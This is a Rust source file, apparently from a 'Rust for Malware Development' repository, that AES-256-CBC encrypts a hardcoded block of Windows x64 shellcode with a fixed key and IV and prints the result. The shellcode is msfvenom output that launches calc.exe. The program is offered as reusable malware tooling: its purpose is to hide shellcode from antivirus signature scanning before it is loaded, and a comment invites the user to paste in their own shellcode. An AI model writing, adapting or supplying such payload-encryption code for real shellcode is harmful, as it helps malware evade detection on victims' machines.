aes_shellcode_encrypt.rs

/*
Encrypt Shellcode USING AES Cipher 
For More Codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
@5mukx
*/

use libaes::Cipher;

fn main() {
    // Set up key and IV manually
    let key: [u8; 32] = [250, 210, 17, 98, 103, 204, 103, 213, 37, 77, 174, 212, 56, 103, 47, 181, 245, 129, 222, 78, 229, 33, 166, 222, 236, 111, 56, 37, 25, 241, 251, 59];
    let iv: [u8; 16] = [36, 32, 35, 81, 237, 38, 143, 85, 219, 233, 159, 76, 65, 127, 206, 203];

    // Set up cipher with manual set key
    let cipher = Cipher::new_256(&key);

    // Paste your shellcode here (in hex format)

    // msfvenom -p windows/x64/exec CMD=calc.exe -f rust
    let shellcode: [u8; 276] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,
    0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,
    0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,
    0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,
    0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,
    0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,
    0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,
    0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,
    0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
    0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,
    0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,
    0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,
    0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,
    0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,
    0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,
    0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,
    0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,
    0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,
    0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,
    0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,
    0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,
    0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,
    0x2e,0x65,0x78,0x65,0x00];

    // Encrypt the shellcode buffer
    let ciphertext =  cipher.cbc_encrypt(&iv, &shellcode);
    // Print the encrypted shellcode
    println!("Encrypted Shellcode: {:?}", ciphertext);
}